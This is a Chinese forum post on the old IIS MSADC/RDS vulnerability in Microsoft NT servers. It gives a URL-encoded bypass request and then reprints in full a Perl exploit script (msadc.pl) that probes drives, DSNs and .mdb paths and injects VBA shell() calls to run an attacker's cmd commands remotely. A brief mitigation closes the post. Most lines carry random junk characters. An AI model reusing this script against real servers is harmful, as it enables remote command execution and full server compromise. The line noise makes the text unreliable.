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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) zD#$]?@ b  
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涉及程序: i D6f/|g  
Microsoft NT server 1NHiW v  
7a$K@iWU  
描述: `,lm:x+(0  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 zKh^BwhO|X  
968<yO]  
详细: &a;{ed1B  
如果你没有时间读详细内容的话,就删除: UB5CvM28  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Vd+qi~kA  
有关的安全问题就没有了。 BiFU3FlTf  
*~h@KQm7  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 1X8P v*,  
ae%Bl[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 jHPkfwfAF  
关于利用ODBC远程漏洞的描述,请参看: oI\ Lepl*  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !.2tv  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 C VXz>oM  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (:(Im k;9  
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这里不再论述。 tPp9=e2[s  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: C Oc,  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset H=/;  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Y)O88C  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" yG' 5:  
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#!perl +6~y1s/B[  
# +#RgHo?f  
# MSADC/RDS 'usage' (aka exploit) script +^6a$ N  
# kTW[)  
# by rain.forest.puppy #Dz. 58A  
# gmqL,H#  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me i5*BZv>e  
# beta test and find errors! QmKEl|/{u  
.),Fdrg  
use Socket; use Getopt::Std; n8+_Uww  
getopts("e:vd:h:XR", \%args); (y^svXU}a  
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print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; gcA,u)z}R  
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if (!defined $args{h} && !defined $args{R}) { @$7'{*  
print qq~ <#ng"1J  
Usage: msadc.pl -h <host> { -d <delay> -X -v } >2s31 {  
-h <host> = host you want to scan (ip or domain) F"^/R  
-d <seconds> = delay between calls, default 1 second WHy r;m3)  
-X = dump Index Server path table, if available y$K[ArqX  
-v = verbose g=na3^PL6  
-e = external dictionary file for step 5 4[lym,8C  
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Or a -R will resume a command session 0{'m":D9  
a7>^^?|  
~; exit;} PJ))p6 9  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; g QYs,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} h]vu BHJ}  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} @@3%lr71   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 8b:GyC5L  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} AsfmH-4)  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } P_.zp5>  
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if (!defined $args{R}){ $ret = &has_msadc; Tg@:mw5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} veAdk9  
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print "Please type the NT commandline you want to run (cmd /c assumed):\n" tiPZ.a~k  
. "cmd /c "; q\G7T{t$.  
$in=<STDIN>; chomp $in; {Rz(0oD\  
$command="cmd /c " . $in ; FL[,?RU?2  
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if (defined $args{R}) {&load; exit;} 9>6?tb"f*H  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; HE:]zH  
&try_btcustmr; lNo]]a+_  
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print "\nStep 2: Trying to make our own DSN..."; 4C }#lW9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }E^k*S  
!>?*gc.<  
print "\nStep 3: Trying known DSNs..."; !8*7{7  
&known_dsn; Z_4|L+i<{  
/pWKV>tjj  
print "\nStep 4: Trying known .mdbs..."; bl-D{)X  
&known_mdb; EvptGM  
b/d 1(B@  
if (defined $args{e}){ "..I$R  
print "\nStep 5: Trying dictionary of DSN names..."; I&f!>y?,Z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } D$Ao-6QE W  
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print "Sorry Charley...maybe next time?\n"; [JEf P/n|.  
exit; ZKJhmk  
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############################################################################## Y+DVwz$  
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sub sendraw { # ripped and modded from whisker H`4KhdqR  
sleep($delay); # it's a DoS on the server! At least on mine... 4t 0p!IxG  
my ($pstr)=@_; 6GoQJ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || lv#L+}T  
die("Socket problems\n"); y\=^pla  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8M,$|\U  
select(S); $|=1; fW$1f5g"  
print $pstr; my @in=<S>; j9R+;u/!  
select(STDOUT); close(S); ),lE8A{ H  
return @in; E-deXY  
} else { die("Can't connect...\n"); }} Lb~' I=9D  
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############################################################################## _FCg5F2U  
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sub make_header { # make the HTTP request [&)*jc16  
my $msadc=<<EOT  63VgQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 aWY#gI{  
User-Agent: ACTIVEDATA #&Rx?V  
Host: $ip P"|-)d  
Content-Length: $clen h>A~yDT[  
Connection: Keep-Alive T2TWb  
fs2y$HN  
ADCClientVersion:01.06 B.}j1 Bb  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 KB$Y8[  
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--!ADM!ROX!YOUR!WORLD! @2sr/gX^  
Content-Type: application/x-varg nnTiu,2R  
Content-Length: $reqlen v7<r- <I[  
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EOT 'jYKfq~_cJ  
; $msadc=~s/\n/\r\n/g; eC_i]q&o|  
return $msadc;} HE-ErEtGB  
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############################################################################## l4y>uZ>a  
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sub make_req { # make the RDS request ' /3\bvZ  
my ($switch, $p1, $p2)=@_; gR wRhA/  
my $req=""; my $t1, $t2, $query, $dsn; ^xq)Q?[{  
7!~)a  
if ($switch==1){ # this is the btcustmr.mdb query |N|[E5Cn  
$query="Select * from Customers where City=" . make_shell(); <1<0odB  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . IO"q4(&;P4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Y ^5RM  
&(NW_ <(  
elsif ($switch==2){ # this is general make table query I=;=;-  
$query="create table AZZ (B int, C varchar(10))"; A`V:r2hnb  
$dsn="$p1";} `82^!7!  
7b(r'b@N  
elsif ($switch==3){ # this is general exploit table query Ci?RuZ"  
$query="select * from AZZ where C=" . make_shell(); {*X|)nr  
$dsn="$p1";} -ug -rdXV  
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elsif ($switch==4){ # attempt to hork file info from index server !3\( d{  
$query="select path from scope()"; Mlo:\ST|  
$dsn="Provider=MSIDXS;";} ~sTn?~  
_8wT4|z5  
elsif ($switch==5){ # bad query -Zqw[2Q4  
$query="select"; 7=HpEc  
$dsn="$p1";} G5UNW<P2C  
T!|-dYYI  
$t1= make_unicode($query); x) R4_ 3  
$t2= make_unicode($dsn); |&~);>Cq2  
$req = "\x02\x00\x03\x00"; /KhY,G'Z  
$req.= "\x08\x00" . pack ("S1", length($t1)); LG=_>:~t>  
$req.= "\x00\x00" . $t1 ; 72dd%  
$req.= "\x08\x00" . pack ("S1", length($t2)); B \.0 5<  
$req.= "\x00\x00" . $t2 ; $S U<KNMZ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; \o5/, C  
return $req;} IW=%2n(<1  
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############################################################################## j^ttTq|l  
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sub make_shell { # this makes the shell() statement AZnFOS  
return "'|shell(\"$command\")|'";} L/,M@1@R  
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############################################################################## rrl{3 ?  
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sub make_unicode { # quick little function to convert to unicode DK<}q1xi  
my ($in)=@_; my $out; QLZ%m$Z  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 1Ch0O__2L  
return $out;} l'?(4 N  
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############################################################################## P]4@|u;=6[  
U)SQ3*j2D  
sub rdo_success { # checks for RDO return success (this is kludge) KXcE@q9  
my (@in) = @_; my $base=content_start(@in); muKjeg'b  
if($in[$base]=~/multipart\/mixed/){ 7qg. :h  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} FeJKXYbk<  
return 0;} )NlxW5  
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############################################################################## 1fV\84m^  
[UB]vPXm$  
sub make_dsn { # this makes a DSN for us 3#h@,>Z;  
my @drives=("c","d","e","f"); Ar`U / %Cu  
print "\nMaking DSN: "; ?aU-Y_pMe  
foreach $drive (@drives) { Oma G|2u  
print "$drive: "; "O%xQ N  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 8-)@q|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" CMYkxU  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); V4|l7  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; k'K 1zUBj  
return 0 if $2 eq "404"; # not found/doesn't exist W 6CNMI]  
if($2 eq "200") { - S%8  
foreach $line (@results) { Y%8[bL$ d  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} a7e.Z9k!  
} return 0;} l8d }g  
<X]dR 6FT  
############################################################################## N)X51;+  
Uy$?B"Z  
sub verify_exists { *"j3x} U<  
my ($page)=@_; D__*?frWpW  
my @results=sendraw("GET $page HTTP/1.0\n\n"); C oO0~q  
return $results[0];} %F]:nk`  
p;LF-R  
############################################################################## zG~nRt{4  
nPjN\Es6  
sub try_btcustmr { CK1gzIg>  
my @drives=("c","d","e","f"); d'b q#r  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k E-+#p  
5}`e"X  
foreach $dir (@dirs) { B@,#,-=  
print "$dir -> "; # fun status so you can see progress yo#fJ`  
foreach $drive (@drives) { LZA pz}  
print "$drive: "; # ditto \yY2 mr  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; x$24Nc1a'  
$reqlenlen=length( "$reqlen" ); >Q|S#(c  
$clen= 206 + $reqlenlen + $reqlen; 79>_aD9  
m"mU:-jk`  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Y!AQ7F  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ~)iQbLI  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {iVmae  
X8(WsN  
############################################################################## CL"q "  
be~'}`>  
sub odbc_error { Z_[jah  
my (@in)=@_; my $base; }G 1hB#j  
my $base = content_start(@in); {&.?u1C.\  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1fU~&?&-u  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x-@6U  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ri1:q.:I]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D2Dk7//82Y  
return $in[$base+4].$in[$base+5].$in[$base+6];} 3Uni{Z]Q)  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; C07U.nzh  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . %1e{"_$O9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} rqYx\i?  
5gY9D!;:0D  
############################################################################## 3(>NS?lX  
+ xRSd *  
sub verbose { %B-m- =gz  
my ($in)=@_; 3dC ;B@  
return if !$verbose; KZ/ 2#`  
print STDOUT "\n$in\n";} $nW^Gqwj]1  
g+M& _n  
############################################################################## ~QE-$;  
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sub save { y,=TB#  
my ($p1, $p2, $p3, $p4)=@_; -O?&+xIK&  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; - WK  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ^ l9NF  
close OUT;} RaLc}F)9   
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############################################################################## 2Jc9}|,  
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sub load { -[.A6W  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";  0@dN$e  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); gVI2{\a  
@p=<IN>; close(IN); ,]|*~dd>G  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); X"3Za[9j  
$target= inet_aton($ip) || die("inet_aton problems"); ,7|Wf %X  
print "Resuming to $ip ..."; ,Frdi>7 ~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >PMLjXK  
if($p[1]==1) { 1# X*kF  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; XbKNH>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Ug,23  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); YN 31Lo  
if (rdo_success(@results)){print "Success!\n";} $yg=tWk  
else { print "failed\n"; verbose(odbc_error(@results));}} <<.%Gk  
elsif ($p[1]==3){ *;y n_zg  
if(run_query("$p[3]")){ _4#&!b6  
print "Success!\n";} else { print "failed\n"; }} !E|k#c9  
elsif ($p[1]==4){ 3Y+ bIz!  
if(run_query($drvst . "$p[3]")){ rYwUD7ip  
print "Success!\n"; } else { print "failed\n"; }} H{nYZOf/  
exit;} u.Z,HsEOb  
H.8Vm[W  
############################################################################## 6`l7saHXE  
+qzCy/_gd  
sub create_table { hXx.  
my ($in)=@_; 8  }(ul  
$reqlen=length( make_req(2,$in,"") ) - 28; cPm-)/E)i  
$reqlenlen=length( "$reqlen" ); rc9Y:(S1l  
$clen= 206 + $reqlenlen + $reqlen; *.ZU" 5e  
my @results=sendraw(make_header() . make_req(2,$in,"")); -S,xR5  
return 1 if rdo_success(@results); <OC|z3na_  
my $temp= odbc_error(@results); verbose($temp); 0x/3Xz  
return 1 if $temp=~/Table 'AZZ' already exists/; >hbT'Or@  
return 0;} s.7s:Q`  
'fkaeFzOl  
############################################################################## ?Ok@1  
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sub known_dsn { Qo;#}%}^^  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9x40  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", +)gXU Vwd  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", g2'Q)w  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Pqm)OZE?  
}.R].4gT  
foreach $dSn (@dsns) { `bF] O"  
print "."; !(wH}ti  
next if (!is_access("DSN=$dSn")); bb^$]lT'  
if(create_table("DSN=$dSn")){ &G"r>,HU  
print "$dSn successful\n"; IAJYD/Y&?  
if(run_query("DSN=$dSn")){ f YuM`O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }&mFpc  
print "Something's borked. Use verbose next time\n";}}} print "\n";} pt!Q%rXm  
BLvI[b|3gn  
############################################################################## 4Dd7 I  
yw( E}   
sub is_access { V ^U1o[`  
my ($in)=@_; S"z cSkF  
$reqlen=length( make_req(5,$in,"") ) - 28; &MlBp I  
$reqlenlen=length( "$reqlen" ); u70-HFI@  
$clen= 206 + $reqlenlen + $reqlen; v8`)h<:W?  
my @results=sendraw(make_header() . make_req(5,$in,"")); /<s $Am  
my $temp= odbc_error(@results); DB>Y#2j4h  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); T"GuE[?a  
return 0;} ,OQ!lI_`R  
$.z~bmH"D  
############################################################################## yeCR{{B/'  
B !(t<W8cu  
sub run_query { iZy`5  
my ($in)=@_; |;-,(509  
$reqlen=length( make_req(3,$in,"") ) - 28; VhAZncw  
$reqlenlen=length( "$reqlen" ); P9p{j1*;  
$clen= 206 + $reqlenlen + $reqlen; #NVqS5  
my @results=sendraw(make_header() . make_req(3,$in,"")); ; YaR|)B  
return 1 if rdo_success(@results); ikGH:{  
my $temp= odbc_error(@results); verbose($temp); Z`?<Ada  
return 0;} V+dfV`*k  
UEq;}4Bo  
############################################################################## x Qh?  
jj)9jU z  
sub known_mdb { sJlX ]\RLQ  
my @drives=("c","d","e","f","g"); 1 ]@}+H  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jz[|rwAp  
my $dir, $drive, $mdb; n(Up?_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3_atv'I  
8i;N|:WdH  
# this is sparse, because I don't know of many n/"T7Y\2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ;UgRm#  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", /s%I(iP4  
"\\system32\\certmdb.mdb", *x| <\_+  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ^gFjm~2I  
oT5xe[{yj  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", rI}E2J  
"\\cfusion\\cfapps\\forums\\forums_.mdb", s9A'{F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", k~Pm.@,3o  
"\\cfusion\\cfapps\\security\\realm_.mdb", mm=Y(G[_%y  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", );h\0w>3  
"\\cfusion\\database\\cfexamples.mdb", O#7ldF(  
"\\cfusion\\database\\cfsnippets.mdb", JLAg-j2  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", HHZ!mYr  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", EGwY|+3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ABV\:u  
"\\cfusion\\database\\smpolicy.mdb", uz4mHyS6  
"\\cfusion\\database\cypress.mdb", 1#qCD["8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ` OQ&u  
"\\website\\cgi-win\\dbsample.mdb", ~,e!t.339  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Jb-wvNJu  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" V8&/O)}o  
); #these are just Gx ZQ{ \  
foreach $drive (@drives) { @` .u"@  
foreach $dir (@dirs){ z s"AYxr  
foreach $mdb (@sysmdbs) { vP}K(' (  
print "."; 73~Mq7~8  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 7IJb$af:;  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; g}^ /8rW  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Xy*X4JJh^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; |V 9%@ Y?  
} else { print "Something's borked. Use verbose next time\n"; }}}}} hqD;<:.  
e+R.0E  
foreach $drive (@drives) { eZHzo  
foreach $mdb (@mdbs) { p>eD{#2  
print "."; ^RWt  
if(create_table($drv . $drive . $dir . $mdb)){ mF F]d  
print "\n" . $drive . $dir . $mdb . " successful\n"; h.=B!wKK  
if(run_query($drv . $drive . $dir . $mdb)){ paBGJ~{=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }2c}y7B,_  
} else { print "Something's borked. Use verbose next time\n"; }}}} {t/!a0\HS  
} KR^peWR  
g[M@  
############################################################################## bOz\-=au  
 ,O~2 R  
sub hork_idx { )vU{JY;  
print "\nAttempting to dump Index Server tables...\n"; j [U0,]  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; aY:(0en]&  
$reqlen=length( make_req(4,"","") ) - 28; jATU b-  
$reqlenlen=length( "$reqlen" ); J#x91Jh  
$clen= 206 + $reqlenlen + $reqlen; VvF&E>f C  
my @results=sendraw2(make_header() . make_req(4,"","")); mTP.W#N  
if (rdo_success(@results)){ f A,+qs  
my $max=@results; my $c; my %d; fd,~Yj$R?  
for($c=19; $c<$max; $c++){ oNU* q.Q  
$results[$c]=~s/\x00//g; $GO'L2oLwn  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; fBLd5  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; PRz oLzr  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; YqJIp. Z  
$d{"$1$2"}="";} )(L&+DDy  
foreach $c (keys %d){ print "$c\n"; } F>b6fUtR  
} else {print "Index server doesn't seem to be installed.\n"; }} AX,Db%`l,  
654%X(:q  
##############################################################################  yY| .  
H);'\]_'x  
sub dsn_dict { ,){0y%c#y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); G2^DukK.  
while(<IN>){ aXJe"IT.u  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (;j7 {(  
next if (!is_access("DSN=$dSn")); qJ/C*Wqic  
if(create_table("DSN=$dSn")){ ZkIQ-;wx  
print "$dSn successful\n"; m5p~>]}fYF  
if(run_query("DSN=$dSn")){ ;Pa(nUE@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /r%+hS  
print "Something's borked. Use verbose next time\n";}}} e"CLhaT  
print "\n"; close(IN);} h^0mjdSp,  
$ vjmW! O  
############################################################################## 1wgu%$|d  
)mPlB.  
sub sendraw2 { # ripped and modded from whisker @ tIB'|O  
sleep($delay); # it's a DoS on the server! At least on mine... heKI<[8l  
my ($pstr)=@_; fA8+SaXW%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || jwq"B$ap  
die("Socket problems\n"); "P{&UwMmh  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4r. W:}4:  
print "Connected. Getting data"; XJzXxhk2  
open(OUT,">raw.out"); my @in; kUUq9me&o  
select(S); $|=1; print $pstr; H+;wnI>@  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} SHk[X ]Uo  
close(OUT); select(STDOUT); close(S); return @in; 1pb;A;F,A  
} else { die("Can't connect...\n"); }} 6b/b} vl  
4cQ5E9  
############################################################################## &FrB6 y  
X4$e2f  
sub content_start { # this will take in the server headers 1955(:I  
my (@in)=@_; my $c; lz(,;I'x  
for ($c=1;$c<500;$c++) { j1 F+,   
if($in[$c] =~/^\x0d\x0a/){ V)2_T!e%*  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } V8yX7yx  
else { return $c+1; }}} OkZ!ZS h  
return -1;} # it should never get here actually zcKC5vqb  
yU|ji?)e  
############################################################################## \vsrBM  
4c=kT@=jX  
sub funky { k Ml<  
my (@in)=@_; my $error=odbc_error(@in); &%X Jf~IQ  
if($error=~/ADO could not find the specified provider/){ [bv@qBL  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; kkBU<L2  
exit;} H040-Q;S'  
if($error=~/A Handler is required/){  ^qqHq  
print "\nServer has custom handler filters (they most likely are patched)\n"; {0e{!v  
exit;} AfN   
if($error=~/specified Handler has denied Access/){ n ;5?^Un%  
print "\nServer has custom handler filters (they most likely are patched)\n"; E ZKz-}  
exit;}} LH#LBjOZk  
|V\.[F2Fe  
############################################################################## 5"am>$rh  
[\9(@Bx  
sub has_msadc { 2w|u)ow )  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); )[sO5X7'^  
my $base=content_start(@results); e H  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); TDIOK  
return 0;} [ |n-x3h  
3cO[t\/up  
######################## % `T5a<  
\a2oM$PX  
!* Z)[[  
解决方案: jL+}F/~r  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll d4>-a^)V  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 liw 9:@+V  
uU(G_E ?  
拿出来充数 哈哈
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